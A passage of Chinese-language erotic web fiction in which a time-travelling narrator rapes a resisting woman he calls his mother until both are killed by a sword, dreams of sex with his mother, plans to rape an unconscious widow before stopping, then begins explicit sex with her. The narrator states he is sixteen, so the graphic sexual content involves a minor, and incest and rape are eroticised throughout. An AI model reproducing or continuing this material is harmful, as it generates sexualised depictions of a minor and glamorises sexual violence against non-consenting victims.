「唔唔唔,你到底是谁?你不是无名,快停下来啊,啊啊啊,你到底……啊……天哪,我的儿子呢?我的无名呢?」

娘终于醒悟了,无力地推着我,不堪我的凶猛操干,一下子趴在了床上。

我跟着爬下去,撑着手臂,穿过娘肥厚的屁股蛋,大龟头泥鳅一般地钻进她那个红肿的肉孔里,从上到下,打夯一般撞击着娘的屁股蛋,大肉棒穿行其间,夹得更紧。

娘扭动着屁股,绝望嘶喊着,捶打着床,摇着头说道:「恩嗯嗯嗯,天哪,无名,我的儿子,你真的死了么?啊啊啊,天哪,我的儿子呢?这个人是谁啊?」

「啪啪啪啪」无休止的撞击,无休止的插入,我似乎没有了感觉,眼泪纷飞地砸着娘的屁股,娘的屁股红了,扭动着,她估计心也碎了……

「妈妈,不要怕,我在这里,我会好好爱你的,妈妈,啊啊啊,让我们永远在一起,好紧的妈妈,永远这样在你的身体里。」

我的泪水滴在娘的背上……

「我的儿子呢……我的儿子呢……」

娘麻木了,被我奸淫着,也不会呻吟了,只是屁股蛋被撞击得颤抖,大肉棒在紧致的阴道里几乎要刮破她的褶皱了。

「你的儿子早死了,这个人,只是你儿子的替身,你这个不要脸的女人,和自己儿子干下这等不要脸的勾当。无耻母子!吃我一剑,永堕地狱!」

门口不知什么时候站了一个黑色斗篷的身影,手中黑红色的剑霸气十足,缓缓举起。

娘缓缓转头,看着剑缓缓下落,她也不反抗了,只是看着还在挥汗如雨继续在她紧致的阴道里冲撞的我,喃喃地说道:「这个人,太像我儿子了……」

「去见你的儿子吧!」

一声厉吼。

「扑哧」一声剑刺入骨肉的声音,我麻木兴奋的奸淫就此一下子戛然而止,瞪着眼睛,那把剑,生生地从我的后心刺入,穿过我的胸膛,插进娘的后心。

娘口喷鲜血,叫都没叫一声。

我缓缓转过头,看清了黑斗篷的脸。

「是你!我们……我们村『贞节坊』那个黑衣人是你,你那时候……那时候还没死。」

黑斗篷先是一愣,说道:「你到底是哪里来的?」

我惨笑着说道:「你会知道的,我们……我们还会见面的。」

黑斗篷愤恨地将剑往下一送,同时吼道:「下地狱吧!」

「啊!」

第二次的刺入,娘终于叫出声来,紧紧地抓住我的手,歪着头,看着缓缓倒下的我喃喃地呓语:「无名……无名……」

「唔!」

我口喷鲜血,倒下的时候,却是把插在娘阴道里的肉棒生生全部送进,插进娘疼痛下张开的子宫口,屁眼紧缩着,颤抖着,竟然悸动着,射了!

我倒在娘的背上,脸贴着娘的脸,随着射精颤动着,眼前娘的脸成了妈妈的脸,那么慈爱,那么温柔。

「妈妈,我回来了……」

睁开眼,我又在那个不知名的天地牢房里,四周一片虚空,空荡荡的惨白让我发怵。周围牢房外面一声声的凄厉惨叫,何种形态的黑色煞气,被一条明亮的裂缝倒吸了煞气的能量,那些黑色煞气扭曲着,试图要抓住牢房不放,试图要闯进来似的,吓得我退了几步,没有落脚点。那些煞气扭曲着被裂缝吸光了能量,一点点消散,变成了和周围的惨白。

「我们不甘心!我们不甘心!小子,你坏了我们大事,我们要你死,我们……啊……我们还会见面的,到那个时候,就是你的死期……」

空渺渺的在周围飘荡着阴森森的声音,渐渐消失,我懵懂地看着这一切,事情还没完么?

「逍遥,你在哪里啊,妈妈不相信你就这么死了,你丢下妈妈一个人怎么办呢?」

我听到这声音,站起来,透过铁窗,那是我熟悉的家,一个美艳的少妇坐在床上,形销骨立的,泪流满面。

「妈妈我在这里,我在这里呀。」

我把手探出铁窗外,叫着妈妈,妈妈正哭着好像听到我的声音了。

「逍遥……你在哪里?我听到了,你在哪儿?」

妈妈惊喜地站起来满房子乱转。

「我在这里,妈妈,在这里啊。」

我激动地泪流满面,但是妈妈找不到我啊,急得我摇着铁窗,但是还是出不去。

我这一摇晃,这个牢房却是摇摇欲坠,顷刻崩塌了。我脚底干觉不到着落,一下子踏空了一样,向下坠落……

坠落,不停地坠落,好像到了无间地狱一样,永远触摸不到的空间,时间好像在这一刻凝结了……风,像刀一样划过我的脸庞,好疼,好疼,自我生在这世上,没有过的疼痛,头一次感觉人生的落空,没有了着落……

突然,风,像利剑一样,撕开了我怀里香喷喷的俏寡妇,或许是遭高空坠落中,她暂时的坠落,但是摊开的雪白胸膛,耸立着两座晶莹如玉的玉峰,雪白的玉峰饱满,圆润,怒挺着,像是玉峰上含苞待放的花蕾,那么鲜艳……

「妈妈……」

我突然想起来妈妈比这对玉峰还雄伟挺拔的乳房,那是哺育我生命的乳房,给我少年启蒙的一对乳房,我可以揉捏,把玩,在我手里变换各种形状,滑腻柔软,妙不可言。

唉,他娘的,一回来又要死,我惹谁了我!就要死了,尝不到妈妈那香甜的乳房,看不到妈妈温柔慈爱的绝世容颜,心中很痛,让我尝尝眼前的美味,就在快死的时候,纪念一下我的妈妈,缅怀一下那在她怀里温存的感觉。

我用尽了全部力气,将快要离开我无力臂弯的俏寡妇搂紧,艰难地低头,张开了嘴,含住那玉峰上的一颗蓓蕾。

啊!好香,有妈妈的味道。手抱住少女饱满的香臀,隔着硬硬的牛仔裤,能感觉出她的柔软和细腻,紧紧闭上眼睛……

突然,一阵柔软的感觉流进心田,「扑通」一声,背部被一阵柔软湿滑,但是有强烈撞击的感觉击中,溅起无数水花来,这感觉让我窒息,让我不能再有任何意识,紧紧抱住怀中的俏寡妇,进入了无尽的黑暗中……

「叮叮……咚咚」「哗啦,哗啦……」

不知道过了多少时,好像是很久吧,一万年,一千年,我不知道,我昏迷了很久。脑子里有种挣脱的意识,有种想马上醒来,但是不知道自己还是不是活着。

「逍遥……」

朦胧的彩色梦幻般的烟雾里走出我思念的妈妈来,妈妈怎么穿着性感的比基尼?迈着猫步,扭着雪白的屁股,眼神魅惑,充满着淫欲,那火爆的娇小身材,透着熟妇的骚媚的气息,水嫩般的俏脸上抹上彩色红晕,娇喘吁吁地轻启性感红艳的嘴唇,玉手摸着才遮住她一半的雪白巨乳,搔首弄姿,媚眼相送,看着我,蛇一般地扭动着她的成熟丰满的娇躯。

「啊……我的儿子,从妈妈无毛肥嫩的白虎里生出来的儿子,你注定是妈妈一辈子的情人,妈妈要你,妈妈好想你,快来,逍遥,妈妈好难受,妈妈的身体只是你一个人的,任凭你一个人玩弄,把你那根大东西插进生你的地方,啊……我的儿子。」

妈妈突然舞女一般地蹲在地上,然后双膝跪下来,向后翘着肥美雪白的屁股,舔着红艳艳的小香舌,俏面酡红,弹出一只手来,身体向前倾着,露出深深的乳沟。

「妈妈……」

我感觉全身燥热起来,怎么可能呢?妈妈平时那么矜持,怎么在勾引自己的儿子呢,又是做梦么?不像,我的意识若隐若现的,伸出手来,捧住妈妈的绝世娇艳的俏脸,抱住妈妈的头,狠狠吻上妈妈的红艳性感的嘴唇。

「嗯……嗯……好,好儿子,亲吻妈妈,妈妈要吃掉你这个小色鬼。」

被封住妈妈香甜的嘴唇趁机在我们亲吻的香甜津液空隙里说着淫言浪语。

「妈妈,我好想你,你终于想开了,我的好妈妈。」

我抱住妈妈的身体,舌头在她的津液淋漓的口腔里搅动着,舌苔打击着她的银牙贝齿。

「嗯,呃」妈妈乔艳抹红的脸上闪出淫靡的色彩,急不可耐地解开我的裤带来,玉手从我裤裆里探出我早已经怒挺的大肉棒,一边回应着我的激烈亲吻,一边轻轻撸动着。

突然,妈妈情欲忍耐到了极限,「啊」的一声仰起头来,拉着我的肉棒,娇喘吁吁地看着我,那目光,温柔而淫荡,似乎能把我融化一般,撸动了几下,颤抖地说:「儿子,来,妈妈受不了了,要妈妈,你不是一直想要妈妈么?快。」

妈妈轻盈地转过了身子,双膝跪在地上,回头拉住我的肉棒,媚眼要燃烧了一般,另一只手撇过她黑色比基尼只遮住她饱满阴户的布片,露出了洁白饱满的肉丘,红嫩的肉缝早已经溪水潺潺,拉住我的肉棒,用我的怒挺紫红色的大龟头划开她娇艳动人的肉缝。

「啊」我们母子同时舒爽地仰起头,禁忌的快感,和第一次能这样用我的大肉棒接触妈妈的那条神秘禁忌的幽谷肉缝,让我浑身像是触了电一般的舒爽。

「啊,妈妈,太爽了,终于能接触你最神秘的地方了,你终于想开了,妈妈,我的好妈妈,好软,好温暖。」

我粗气在呼呼地喘着。把住妈妈的大屁股,妈妈回头,还在抓着我的肉棒,显出一阵的惊慌和喜悦来。

「啊,儿子……」

她来不及说完,我借着妈妈向后看的那一刻,屁股也向后挺过来的那一刻,势如破竹,晴天霹雳一般地插入妈妈的温暖阴道里……

「啊……好疼,我的大鸡巴好疼啊。」

一阵钻心裂肺的疼痛让我从昏迷中醒过来,感觉下身虽然怒挺着,但是像是要折断了一半。

睁开眼一看,妈呀,我的大肉棒什么时候从裤子里出来了,双手还抱着上身光溜溜的的俏寡妇,俏寡妇背对着我,蜷缩着,侧躺着向后翘起她饱满的小香臀来,我的肉棒这时候竟然隔着她的牛仔裤,顶在她湿透了的双腿之间,生生的连同牛仔裤插进了她的臀缝间小肉孔一小截。

俏寡妇迷迷糊糊的,也许感觉到了疼痛,扭了一下小屁股,嘴里「嗯」了一声,没有力气再动了。

我连忙拔出我的肉棒,坐起身来,双手轻轻抚摸着我被牛仔裤摩擦得红彤彤的肉棒,疼得我呲牙咧嘴的,像是大肉棒要烧着了一般,远远地探着身子吹着气,火辣辣的疼痛让我两腿抽筋。

我可没受过这种罪,也不管当时救俏寡妇那份勇敢,这时候,火大了,抬起手来「啪」的一声打在俏寡妇向后翘起的小屁股来。

「小娘皮子,疼死我了。」

我很恨地看着秋香翘起的小香臀,情欲没了,只有疼痛。

俏寡妇着痛了,又扭了扭圆翘的小屁股,嘴里呢喃起来:「不要……」

我「哼」了一声,火气渐渐消失了,看着小寡妇蜷缩的样子,楚楚可怜,洁白的上身什么也不穿,就是侧躺着,向后翘起小屁股来,不由得不恨她了,感觉这小寡妇很可爱,这个姿势很迷人,不由得手伸到她的小屁股上,轻轻抚摸着,不时地揉捏几下,好有肉感啊。

不想,秋香这诱人犯罪的姿势,还有手上传来那股少女青涩般的肉感,让我的疼痛转为情欲,心里「咚咚」地跳起来,趁着时候欲火正旺,我就在这儿,这个无人的地方,就是这个诱人的姿势,从后面脱下她的裤子,然后把我的肉棒插进她的肉缝里,蹂躏他,奸淫她,何等刺激啊!

这叫什么?好像依稀记得坠崖前听富根说过,是迷奸。

啊!迷奸啊!多少男人梦寐以求的,把自己经常意淫的绝美女性迷倒了,然后在女人昏迷的状态下,任自己蹂躏。

我撸了几下我勃胀到极点的巨龙,竟然嘿嘿地笑着,一边抚摸着秋香的小屁股,一边对自己青筋怒爆的巨龙说:「兄弟,今天有肉吃了,这么美的一个俏寡妇,一定让她欲仙欲死啊。」

我的巨龙竟然在我潜意识里跳动了两下,好像在给我点头啊,好像在说:「好,我也想尝尝这个没有被男人耕耘过的俏寡妇。」

我越想兴奋,手胡乱地在小寡妇屁股底下的饱满肉丘上摸了几把,大肉棒插进了秋香紧闭的双腿间,抽动几下,作了个热身运动。

正要伸手去解开小寡妇的裤带,心里美滋滋地想,要得手了,从来没有和女人真刀真枪地干,这下好了。

「逍遥,香儿是你的,永远都是,香儿要把自己给你,香儿的身体只许你一个人碰,逍遥……」

秋香喃喃地还在说胡话,扭动了一下小屁股,下意识地把我放在她小屁股上的手拉住。

我顿时心里一股暖流涌进来,秋香的手好柔软,她真的爱上我了,我又怎么能这么对她呢?我还是光明正大的得到她比较好。

想着,自己怒挺的巨龙由于秋香的呢喃情人般的话,这时候垂头丧气地缓缓地收缩了,一边收缩一边还不时地跳动着,好像在怪我:「都怪你,好好的美味到口了,不会享受,没用的老大,我恨你。」

我呵呵地笑了,神经病地和自己的老二说话:「兄弟,以后有你美的,先不要这么沮丧嘛。」

老二终于缩成一条小虫子,在我的档间还不服气地晃着脑袋。

我揉了揉自己的脑袋,很胀,好闷啊,这才想起来,自己一时冲动要迷奸这个俏寡妇,是太想妈妈了,唉,要是妈妈能像刚才迷迷糊糊看到那个妈妈,那该多爽啊。

在情欲高涨的时候,自己什么也没感觉到,好像自己没有死过,智商到了零下。突然这时候摇摇晃晃地站起来,这才又惊又喜地流下了眼泪。

自己还活着!不是在做梦吧!死了两回都死不了啊,大难不死必有后福啊。

我还活着!哈哈,我还活着,我终于喊出一声来,看看四周,不是梦境,我和秋香正躺在一潭清不见底的深绿湖边,湖水悠悠地地荡漾着,飞翔着彩色的蜻蜓,点一下水,欢快地又起飞。

想是我们掉进了这潭湖水才没死,谢天谢地啊。

四周绿茵茵的草地,像是连成一片片的绿色地毯,各色的矮木却不在地上长着,而是长在悬岩峭壁上,有的还有红艳艳的苹果,有的是硕大的黄橙橙的梨。

不时有鸦雀欢鸣着,不时有金色的鱼儿跃出水面,俏皮地看我们一眼,又潜入水底去了。

我抬头看看,上面云雾缭绕,仙境一般,而底下却是另一片天地,云雾中透着一丝丝的阳光,闪耀着五彩的缤纷。

这到底是哪里呢?我们两坠落这么高,都没摔死。大难不死必有后福啊。

我提好裤子,自己高兴大于阴暗的情欲,这时候坐下来拉起了软绵绵的秋香,她显然很虚弱,这么高掉下来。气流的冲击,湖水的冲击,在湖里淹了不知道多长时间,也不知道我们怎么上来的?

感觉自己浑身紧绷绷的,低头一看。

靠!

我那边的身体回来了还没变啊,以前的衣服已经不合适我的身材了,裸露的胳膊成了健康的古铜色,青筋暴突啊,肌肉发达,胸前两块肌肉把我的衣服撑起来了,不知道的还以为我成了女人了,这不符合我这个年龄啊,十六岁就这么壮,回去怎么让妈妈认出来啊?

不过,我暗自高兴起来,这样的身体玩女人不是百战不殆么?有力的手臂,结实的腹肌,天生就长着女人痴迷的那条巨龙,无论从哪方面说,这就是个活脱脱得猛男啊,再厉害的女人,能和我抗衡么?

我越想越兴奋,眼前就有这么个实验品啊,看看我回来后能不能再把女人搞得欲仙欲死的,但是回来后,似乎我的性情也变了,秋香这么深情厚谊,我怎么能这样伤害她呢?

玩女人要在她心甘情愿的时候才能共赴巫山云雨,强迫她发生性行为,那是无能男人的无能表现。

我当然不想做个无能的男人啦,于是我爱怜地抚摸着秋香娇俏的脸庞,闭着眼睛,很是安详,嘴角翘着,带着微笑,睫毛弯弯的,很是可爱,就是看见她光溜溜的上身,那对少女般圆翘的乳房,看起来又是淫靡,又是温馨。

我看得可爱,不由得低头就要吻上她的小嘴。

「逍遥……我们……」

秋香缓缓睁开眼睛,俏脸一红,显然是看到我要亲她,说不下去了。

我捏捏她的小脸蛋说道:「我们还活着呢。」

秋香半信半疑地看看四周,激动地抱紧我说道:「逍遥,我们真的活着,我不是在做梦吧?」

说着泪水涟涟。

我呵呵笑了,一阵清风吹过,小寡妇感觉胸口一阵凉意,突然觉得自己上身光溜溜的,在自己喜欢的人面前这么暴露,不由得「啊」嘤咛一声,脸红的比峭壁上的红苹果还红呢。

我哈哈笑了,看她那么可爱,那么娇羞,越发喜欢这个俏寡妇了,狠狠地在她脸蛋上亲了一口,秋香又嘤咛一声钻进我的怀里,莲藕般的双臂护住胸口,但是她这么雪白娇嫩的身子,处处透着青涩,那双臂能遮住多少呢?

我坏坏地要剥开她的双臂,故意逗她,秋香「嗯」一声娇吟,打我一下说道:「坏蛋,人家害羞嘛。」

我哈哈笑说:「害什么羞啊?这里只有我们两个人了,我们就是光屁股不穿衣服也没人看,再说了,你都说是我的人了,看一看有什么嘛。」

秋香粉拳雨点般地打在我的胸口上,小嘴里还:「不要,就是不要嘛。」

她这么撒娇让我感到一丝丝的情意,和甜蜜,忍不住封住她的香甜小嘴。

秋香「嗯」一声,不由得抱住我的身子,青涩地张开嘴,我粗野地用大舌头挑开她的紧闭的银牙,找寻她的小香舌,秋香「嗯嗯」地不由得俏脸酡红起来,窒息一般地抓住我的手轻轻推开我说:「逍遥,我胸口好闷啊,喘不过气来了,你……要亲我,我不是不让你亲,我觉得好头晕。」

我爱怜地在她香唇上点了一下,把自己的衣服脱了给她披上,拉起了她要走,秋香酥软无力地跌到在我怀里,盈盈地看着我说:「我走不动了。」

我呵呵一笑,把她猛地抱起来,秋香一惊,然后幸福一笑,把头靠自我怀里。

我离开湖边,走到了峭壁底下,把秋香放下,然后看看四周,秋香问道:「这里是什么地方啊?」

我笑说:「阴曹地府啊。」

秋香惊得「啊」一声,看我笑得开心,轻轻打我一下。

我说道:「我去找点吃的,肚子饿了,你在这里呆着,不要乱跑,好么?」

秋香拉住我慌忙说道:「不要,我一个人怕,我要和你在一起。」

说着忸怩地撅着小嘴。

看她可爱样儿,好像从来没有一样,我又抱起她说道:「你是赖上我了是不是?」

秋香说道:「就赖上你了,你救了我,我这辈子就是你的人了。」

我哈哈笑了,这俏寡妇啊,拿她没办法。

秋香刚才还迷迷糊糊的,这时候上下打量着我感觉奇怪,好像没见过我似的,我知道她想说什么,故意没说话。

秋香惊异地看着我说道:「逍遥,你……你变了,怎么变成这样了?好像一个壮男人一样,怎么会这样啊?」

我当然跟她说不清楚我到了远古时代的事情啦,我笑说:「怎么啦?不认识了,我也不知道自己怎么变成这样了?不好么?壮男人会保护女人,让女人欲仙欲死的,你不喜欢么?」

秋香俏脸一红,慌乱地低下头说道:「无论你变成什么样,我都喜欢你的,这样也好啊,以后你能保护我了,不被富根欺负,还有……还有……」

我问道:「还有什么?」

秋香扭扭捏捏地说道:「我……我去玉嫂家串过门,她的房子里都贴着很多壮男人的海报,有一个叫什么……叫什么施瓦什么星哥哥的……」

我听了不由得「扑哧」一声,哈哈大笑起来,秋香红着脸捶打着我说道:「你笑什么啊,坏死了。」

我止住笑,说道:「是施瓦辛格,什么星哥哥啊?」

秋香连连捶我说道:「玉嫂是这样说的,她喜欢猛一点的男人嘛,所以就叫那个外国男人是施瓦星哥哥了。」

听秋香这么说,我点点头,那个玉嫂长得那么漂亮,我还真怀念她哩,那天从学校回来的时候,她就说有话要问我,来了一趟女娲庙,全泡汤了,不过,这回如果能回去,一定要亲近这个村里第一美人,说不定我还能把她搞上床呢。

我也觉得没事,和这个俏寡妇聊聊天,问道:「香儿,玉嫂也是个28岁的女人了吧?」

秋香点头,倾慕地说道:「是啊,我们村儿玉嫂最漂亮了,就是没嫁对人。」

我回味无穷地说道:「也成熟了啊,看上去她的性欲很强哦。」

秋香怪嗔地说道:「你……你说什么呢?不许说玉嫂坏话,你怎么看出来的,是不是你……你和玉嫂也有一腿啊?」

我哈哈笑了,说道:「很简单啊,因为她喜欢猛男啊,你看看,我现在像不像猛男啊?」

我说着,就原地摆起了POSS,我也见过施瓦辛格海报,他的那个健美poss我也会。

秋香竟然拍手说道:「太像了,太像了,玉嫂房间里的猛男就是这个姿势,如果回去的话,玉嫂真的会喜欢你的哦。」

我搂住了秋香暧昧地问道:「你说,玉嫂为什么喜欢猛男啊?」

秋香头靠在我怀里,红着脸忸怩地说道:「这个……不好说啊,是我们女人之间的话,你瞎打听什么啊?」

我吻了一下秋香的脸蛋说道:「现在玉嫂不在,就我们两个了,你说说有什么?你都一辈子跟我了,还把我当外人啊?」

秋香抚摸着我凸起的胸肌,沉醉地说道:「玉嫂说的,我说了你不许笑我。」

我说:「不笑,保证不笑。」

秋香说道:「玉嫂说,男人壮了,一来可以保护女人,二来……二来,晚上……晚上跟女人做那个的时候,时间又长,壮男人……壮男人……那个又大,会让女人很舒服的,你的……你的那个也很大啊。」

我想起来了,那晚我从黑衣人手里把她救出来,我们坐在村头互摸,她是尝到了我的巨龙才这么说的。

我听了,不禁情动起来,手伸进了秋香批得衣服里,摸上她那饱满挺翘的乳房,秋香「嗯」一声按住我的手说道:「别使坏嘛。」

我低头看着她说道:「你不想要么?」

秋香说道:「想,但是不是现在。」

我呵呵笑了,不为难她,说道:「玉嫂的男人不行,她是不是想男人了?」

秋香忸怩地说道:「有一次……有一次,我大中午去她家串门,门外就听见有女人在呻吟,我以为玉嫂和她男人做那个呢,我很好奇,从窗户看进去,看见玉嫂……看见玉嫂她脱了裤子和内裤撅起了屁股,手指……手指还在她下面那个里面扣着,嘴里还叫着星哥哥,快来爱玉儿,我都羞死了,看了一会儿,口干舌燥的,不一会儿玉嫂就喷了很多水,好像虚脱了。我进去后,她脸很红,问我看到什么了?我只好说什么也没看到,我问她是不是想男人了?玉嫂很害羞,低头不答,好久说,她男人不行,一上来,自己没感觉,他就先完事了,很扫兴,要是有一天能有个星哥哥一样的男人爱她,她死也值了。」

我听着,这玉嫂当真还是想男人了,难怪啊,她这么个大美人,嫁给那个无能男人,糟蹋了啊。

秋香这么羞答答的女孩子,当着我的面说出女人之间的秘密,她相信我这么深,让我感动,关键是那个怨妇玉嫂把她教坏咯。

秋香问我:「逍遥,如果,如果你回去,玉嫂喜欢你,你还会不会要我啊?」

我呵呵笑了,说道:「要,我两个都要。」

秋香娇羞地说道:「坏蛋。」

我哈哈大笑,抱着她沿着峭壁根走了一段路,自己体格也壮了,秋香也不是很重,要是之前那个年龄,我还真抱不动她呢?平时也不爱体育运动,就是仗着长得英俊潇洒,一副奶油小生的摸样去迷惑女人,这次两者皆而得之,心里比吃了蜜糖还美呢。

我们越走远开阔,草比湖边的茂盛多了,还很高,扒开草丛,看见远远的有一个青草覆盖的茅屋,毛无边上有一条小溪水,一直延伸到我们来的地方,可能这条小溪发源自我们掉进的那条湖里,四周清雅宁静,像是一个世外桃源一样。

秋香奇怪地看看我说道:「这里还有人住么?」

我摇摇头说道:「不知道。」

说完扒开比人还高的青草走向茅屋。

这茅屋清雅至极,都是用青草覆盖,圆圆的靠着山根,有院落,院落里却是干干净净的青石板,这估计是有人住才这么干净的。有藩篱,藩篱上开着五颜六色的小花,随风而摆,还有一个竹花篮放在了院落里的石凳上,花篮里有新鲜的白色的像极了玫瑰花的不知名一簇花。

我放下了秋香,扶着她打开藩篱的竹门,在院子里叫了声:「有人么?赏口饭吃吧?」

秋香一听,扑哧笑了,看着我说道:「你又不是要饭的。」

我呵呵一笑,走到院落的凳子边,拿起花篮,秋香忙阻止我说道:「这样不礼貌的,人家的东西,你不要乱碰。」

我摇摇头说道:「花而已嘛,碰一碰又不会死。」

说完捡了一朵最鲜艳的,给秋香戴在头上,秋香不明所以看着我,我笑着看着秋香头上的话说道:「好看。」

秋香小脸一红,偎依在我怀里说道:「我只给你一个人看。」

我伸手「啪」打在她小屁股上说道:「我还想看光你的全身,你让不让啊?」

秋香怪嗔地打我一下说道:「坏死了,香儿是你的人了,你……想看,有的是机会。」

我手放在她的圆翘香臀上,在她耳边说道:「我现在就想看。」

秋香摇头说道:「不要,这里有人,会看到的。」

一双杏眼看着我健壮的体格,心里不由得欣喜,要是能让自己的心上人,这么健壮的体格下,把娇小的自己包围住,自己劈开双腿,曲意逢迎,让心上人那根让女人欲仙欲死的东西和自己合为一体,到那时候,自己就算是世界上最幸福的女人了。

但是她却是不像她所说的玉嫂一样那么开放,心藏羞涩,保守中规,希望自己把自己能在特别的时刻给了爱人。

我狠狠地在她屁股上捏了几下,秋香娇吟地白我一眼,倒是三分怪嗔,七分欣喜了。

我敲了敲茅房的门,没人应,看看四周,天也快黑了,我们要是硬闯进去,很不礼貌,但是现在很饿了,等主人回来,早就饿挂了。

毫不犹疑地,果断推开了门。

啊!我的脑海里电光一闪,像是触了电一样。屋里第一个出现在我面前的是一张花团簇拥的大木床,五颜六色的各种花当做帐子,围着大木床,散发出香甜的花香来。我睁大眼睛,这不就是我梦里和妈妈疯狂媾和的锦帐香床么?怎么会出现在这里呢?

再看精致的窗子边摆放着自制的木梳子,还有半截镜子摆放在自制的简易桌子上,还有许多精致的小泥罐。

开木床不远处放着竹子编织的花篮,放着各种花。整个屋子里不同外面那么闷热难受,一下子清凉透心,爽不可言。

这应该是一个女孩子的闺房,而且人很爱美,喜欢花,还很会享受,但是人哪儿去了?

秋香毕竟是女孩子,折腾不起,软软地扶着我,我看她虚弱,撩起了花团做的帐子,让她坐在床上,叫了几声没人回应。

再看看那些花篮,有七八个,散发着香味,奇怪的香味,花香还带着一股能引起食欲的味道。

我是饿坏了,闻到能解馋的东西,我怎么能放过呢?几步走到花篮边,把花拿起一看,哇,里面竟然放着两块烤熟的兔子肉,手里的花很冰凉,大概是用花来保存食物的,这种花我在悬崖上面可没见过啊,有这种起效,太神奇了,这么热的天,能把兔子肉保存好,很不容易。

再翻开另一个花篮,是新鲜的苹果。

我拿起那两块兔子肉,又拿了两个苹果,递给秋香,秋香眯着眼睛担心地说道:「人家回来怎么办?我们自己出去找吃的吧,这样不好的。」

我笑说:「这里住的肯定是个女孩子,对付女孩子我很在行的,不用担心,她回来了,我跟她说,吃吧,我都没力气找吃的了。」

秋香还在犹豫,但是自己也很饿了,看到兔子肉,还有散发出那股别的兔子肉没有的神奇香味,任谁能抵抗呢?

说罢就要吃,我坏坏一笑,抢过了她的兔子肉,秋香一阵的奇怪,我咬了一口,嚼了两下,一屁股坐在床上,抱住秋香的头,把嘴亲到她的性感小香唇上,把嚼碎的肉渡到她嘴里去了。

秋香很是不习惯,「嗯」了一声紧闭着嘴怪嗔地看着我,不可形容地想吐又不想吐,嚼了两下,勉强地咽下去了。

我呵呵一笑说道:「怎么了?嫌我脏啊?」

秋香摇头说道:「不是,不习惯,你真坏。」

我笑说:「我们两不知道能不能再回去了,我想以后我们就要像夫妻一样过了。」

秋香俏脸一红说道:「什么夫妻?我……我又没说要嫁给你。」

我搂住她说道:「你个小丫头,你都说是我的人了,不嫁给我,你嫁给谁啊?」

秋香娇羞一笑,说道:「嫁给你啊。」

我哈哈地笑了,又咬了一口,自己吃了,然后又渡到秋香嘴里,秋香慢慢习惯了,好像很享受,红着脸看着我,可能男女之间互相有需要,我们这样互相喂着,也算是一种调情。

吃完了,秋香主动地亲了一下我的嘴,羞羞地说:「当家的,我吃饱了,谢谢你。」

我一愣,哈哈笑了,一看窗外,天黑了,但是这儿的主人还不回来。

屋子里也渐渐黑了,秋香却是脉脉地看着我,奇怪地问了一声:「这儿的主人会不会回来了?」

她语气里好像不希望主人回来似的。

我搂住她说道:「回来怎样?不回来又怎样啊?」

秋香低下头低声说道:「回来了……回来了……我就不能把我给你了……」

我一愣,惊喜地说道:「香儿,你……」

秋香靠在我怀里绵绵地说:「这里这么美,好像洞房一样,我今晚就是你的新娘子,今晚,香儿属于你的,香儿很羡慕玉嫂那么放得开,越是长大,就越想那个事,你能给我快乐么?我要你的那个……我要……」

我心中狂喜,不由得勾起了秋香的小脸,深情说道:「能,我会给你快乐,会让你成为我的女人。」

这时候天越是乌黑,我看不到她动情的样子,这里又没有电,一会儿和她交合也在黑暗中,看不到她的全部,很是遗憾。

正想着,突然感觉在大床上作帐子的花恍恍惚惚的亮起来了,秋香也奇怪地看着这些花,释放出醉人的香味,不一会儿这些花都亮起来,亮得和白天一样,我这才明白,这里的主人为啥这么爱花,这些花的功效不一般。

秋香又是惊异,又是兴奋,说道:「好神奇啊,花都亮起来哦。」

我呵呵笑了,低头看着这个花下美人,另一番风味,秋香桃花脸蛋,温柔的眼神,看着我情欲起来,自己不由得娇喘嘘嘘地看着我,拉住我的手臂,缓缓地把我拉在她倒下的香喷喷的娇躯身上,青葱玉指点着我的鼻子,看着零距离接触的我呢喃道:「今晚,你就是我的郎。」

说罢,俏脸已经酡红,像是个喝醉酒迷情的新娘,玉手轻轻伸进我的胯间,隔着裤子,抚摸着我早已在裤裆里呼之欲出的巨龙,热乎乎的散发着热气,让这个小寡妇更是动情起来,不自主地「嗯嗯」地呻吟起来,在花的光亮下,一双水汪汪的杏眼,像是笼罩着一层薄雾,痴迷动情,欲望尽显。

我听得温馨,被她玉手胡乱摸着裆部,一下子情欲的闸门打开,莫名其妙地穿越到那个时代,没有给女人破处,现在有这么一个俏生生的小寡妇执意要饱尝男女欢爱的滋味,我怎么会让她失望呢?

拨开我给她披上的外衣,低头咬住她雪白的乳肉。隔着牛仔裤下意识地摸到秋香完全放松劈开的双腿间,天哪,牛仔裤早已经湿乎乎的一片啦,散发出一阵的热乎乎情欲来,原来这个小寡妇,早就想要了……


05-18
第17章

「嗯……」

俏寡妇一声悠长的叹息中带着惊羞和女人渴望快乐的呻吟,引来我两处忙活,大嘴呼着那强烈雄性发情特有的气息,在俏寡妇的粉颈上,在她的吹弹可破的俏脸蛋上,或蜻蜓点水,或轻咬满嘬,细细体味着,俏寡妇特有的那种处女女人香,和作为一个女人吸引男人的那种雌性气息。

两手轻轻揉捏着俏寡妇那一对青涩害羞的饱满双峰,乳头像是蓓蕾一般耸立在早已在女人情欲开动时,比平时胀大了许多,没有熟妇那般乳晕扩散,黑黑的一圈,少女的纯情尽显在那还是粉嫩蓓蕾的乳头上,像极了两颗娇艳欲滴的小粉果。

她没有过性经验,这一点可以看出,她没有整天被男人揉来揉去的,更没有哺乳,所以显得那蓓蕾在今夜就要含苞待放似的。

我的粗壮大手轻轻把那柔软凝滑的乳肉掬起来,圆圆饱满的乳房被我的大手捏的变了形状,就像是捏着一个软柿子,而那两颗蓓蕾粉果在这样的揉捏挤迫下,不由得鹤立鸡群,高高挺立起来。

「呃……嗯……咦……」

便是这么轻微的挑动,就让俏寡妇此时像是喝高了一样,那桃花脸蛋与花的灯光相映红,徒增一抹艳丽,和风情,臻首左右摇摆着,银牙咬碎,朱唇微启,性感小嘴唇里便像猫儿发情一般地呓语着,小手紧紧微攥着,干脆在我早已经被她米轻易乱的时候脱光的上身胡乱摸索着,似乎就是能在她白玉般的小手上能感受一个男人给她快乐,和雄性力量。

那双修长的双腿不安地交叠着,交缠着,饱满的小屁股也在扭动,随着她的一声声娇吟,或轻或重地磨蹭着我的下身,似乎这样能给她带来快感。

我微微一笑,不由得被这个此刻风情万种尽显女人魅力的小寡妇,带入了角色,舔吻着她的脸,她的香气四溢的凝滑肌肤。而手,却是不轻不重地揉捏着她的乳肉。

从手中感触俏寡妇那一抹心甘情愿的深情厚谊,酥软的感觉让我从来没有感受过,便是穿越那个时代,匆匆和那个所谓的娘疯狂交合,我没有体会娘的乳肉是否能给我带来视觉和触觉上的美感,我只是在干妓女一样发泄我的兽欲。

